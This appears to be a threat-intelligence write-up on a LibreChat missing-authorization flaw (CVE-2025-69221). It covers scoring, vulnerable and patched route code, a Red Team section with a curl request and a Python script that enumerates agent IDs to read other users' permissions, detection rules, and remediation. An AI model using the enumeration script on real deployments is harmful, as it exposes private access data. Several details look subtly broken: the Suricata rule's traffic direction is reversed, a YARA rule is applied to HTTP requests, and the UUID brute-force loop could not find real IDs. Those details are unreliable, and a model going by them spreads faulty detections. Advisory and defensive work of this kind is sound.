CVE-2025-69221
Executive Summary
CVE-2025-69221 is a missing authorization vulnerability in LibreChat, an open-source ChatGPT clone. The flaw allows an authenticated attacker to read the permissions of arbitrary agents, including private agents and the permissions individually assigned to other users, by simply knowing the agent ID. The vulnerability exists in version 0.8.1-rc2 and is fixed in version 0.8.2-rc2. The CVSS score is 4.3 (Medium), and the EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. The primary risk is information disclosure, as an attacker can enumerate agent permissions to understand the security model and potentially identify high-privilege users or sensitive configurations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
LibreChat is a Node.js application. The vulnerability is in the application's own code, not in a direct dependency. However, the application may be distributed via Docker images or source code from GitHub. Users should verify the integrity of their LibreChat installation and ensure they are using a trusted source.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker must be authenticated.
- User Interaction: None (UI:N) – No user action is needed.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited information disclosure (agent permissions).
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The vulnerability requires authentication but allows an attacker to read sensitive configuration data (agent permissions). This could be used to map out the security model of the application and identify high-value targets.
Deep Dive & Mechanics
LibreChat allows users to create "agents" – predefined sets of instructions and context for the AI. Agents can be private (not visible to other users) or shared. Each agent has permissions that control which users can access or modify it. The vulnerability lies in the API endpoint that queries agent permissions. In version 0.8.1-rc2, this endpoint does not verify that the requesting user has any relationship to the agent. An authenticated attacker can simply call the endpoint with a known agent ID and receive the permissions object, which includes a list of users and their assigned permissions.
The attack flow:
- The attacker authenticates to LibreChat.
- The attacker obtains an agent ID (e.g., by guessing, brute-forcing, or from a previous information leak).
- The attacker sends a GET request to
/api/agents/{agentId}/permissions. - The server returns the permissions object without checking if the attacker is the owner or has any access rights to that agent.
The permissions object contains:
agentId: The ID of the agent.permissions: An array of objects, each containinguserIdandpermission(e.g., "read", "write", "admin").
This allows the attacker to:
- Identify which users have access to which agents.
- Determine the permission level of other users (e.g., who has admin rights).
- Map out the internal structure of the application.
Vulnerable vs. Patched Code
Vulnerable Code (0.8.1-rc2):
// routes/agents.js
router.get('/:agentId/permissions', async (req, res) => {
const { agentId } = req.params;
const permissions = await AgentPermissions.find({ agentId });
res.json({ agentId, permissions });
});
Patched Code (0.8.2-rc2):
// routes/agents.js
router.get('/:agentId/permissions', async (req, res) => {
const { agentId } = req.params;
const agent = await Agent.findById(agentId);
if (!agent) {
return res.status(404).json({ error: 'Agent not found' });
}
// Check if the user is the owner or has any permission on this agent
const userPermission = await AgentPermissions.findOne({ agentId, userId: req.user.id });
if (!userPermission && agent.ownerId !== req.user.id) {
return res.status(403).json({ error: 'Forbidden' });
}
const permissions = await AgentPermissions.find({ agentId });
res.json({ agentId, permissions });
});
The patch adds an authorization check: the user must either be the owner of the agent or have an explicit permission record for that agent. If neither condition is met, the request is denied with a 403 Forbidden.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of LibreChat 0.8.1-rc2.
- A valid user account (any authenticated user).
- Knowledge of at least one agent ID (e.g., from a previous information leak or by brute-forcing UUIDs).
Exploitation Steps:
- Authenticate: Obtain a valid session token or API key.
- Identify Agent IDs: If you don't have an agent ID, you can try to enumerate them. Agent IDs are likely UUIDs. You can attempt to find them in other API responses (e.g., when listing agents you have access to) or by brute-forcing if the ID space is small.
- Request Permissions:
curl -X GET "https://target.com/api/agents/agent-123/permissions" \ -H "Authorization: Bearer <your_token>" - Parse Response: The response will contain the permissions object:
{ "agentId": "agent-123", "permissions": [ { "userId": "user-456", "permission": "admin" }, { "userId": "user-789", "permission": "read" } ] } - Repeat: Iterate over other agent IDs to map out the entire permission structure.
Automation Script (Python):
import requests
import uuid
target = "https://target.com"
token = "your_token_here"
headers = {"Authorization": f"Bearer {token}"}
# Brute-force agent IDs (example: first 1000 UUIDs)
for i in range(1000):
agent_id = str(uuid.UUID(int=i))
url = f"{target}/api/agents/{agent_id}/permissions"
r = requests.get(url, headers=headers)
if r.status_code == 200:
print(f"Agent {agent_id}: {r.json()}")
Blue Team
Detection:
- Monitor for repeated 403 errors on
/api/agents/*/permissionsendpoints (after patch) or successful 200 responses for agents the user should not have access to (before patch). - Look for patterns of sequential or random agent ID requests (e.g., UUID brute-forcing).
- Alert on any user querying permissions for more than a few agents in a short time.
Hunting:
- Search logs for
GET /api/agents/followed by a UUID and/permissions. - Correlate with user authentication events to identify which users are making these requests.
- Check if the requesting user has any relationship to the agent (owner or permission record).
Mitigation:
- Apply the patch by upgrading to version 0.8.2-rc2 or later.
- If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to
/api/agents/*/permissionsfrom users who are not the agent owner. - Monitor for anomalous API usage patterns.
Indicators of Compromise (IOCs)
Network:
- HTTP GET requests to
/api/agents/{uuid}/permissionswhere{uuid}is a UUID. - Multiple such requests in a short time frame (indicating brute-forcing).
- Responses with status 200 containing a
permissionsarray with multiple user entries.
- HTTP GET requests to
Logs:
- Application logs showing
GET /api/agents/.../permissionsfrom a user who is not the agent owner. - Repeated 403 errors on the same endpoint (after patch).
- Application logs showing
File System:
- No specific file system IOCs.
Detection Engineering
YARA Rule
rule CVE_2025_69221_LibreChat_Permissions_Leak {
meta:
description = "Detects requests to LibreChat agent permissions endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-69221"
strings:
$endpoint = "/api/agents/"
$permissions = "/permissions"
condition:
$endpoint and $permissions
}
Sigma Rule
title: LibreChat Agent Permissions Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to enumerate agent permissions in LibreChat
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/api/agents/'
cs-uri-stem|endswith: '/permissions'
condition: selection
falsepositives:
- Legitimate agent owners querying their own agents
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-69221 LibreChat Agent Permissions Enumeration";
flow:to_server,established;
content:"GET"; http_method;
content:"/api/agents/"; http_uri;
content:"/permissions"; http_uri;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate:
- Upgrade LibreChat to version 0.8.2-rc2 or later.
- If upgrade is not possible, apply a virtual patch using a WAF to block unauthorized access to the
/api/agents/*/permissionsendpoint.
Long-term:
- Implement proper authorization checks on all API endpoints that access agent data.
- Use a consistent authorization middleware that checks user permissions before returning any data.
- Consider implementing rate limiting on API endpoints to slow down brute-force attempts.
- Audit all API endpoints for similar missing authorization issues.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert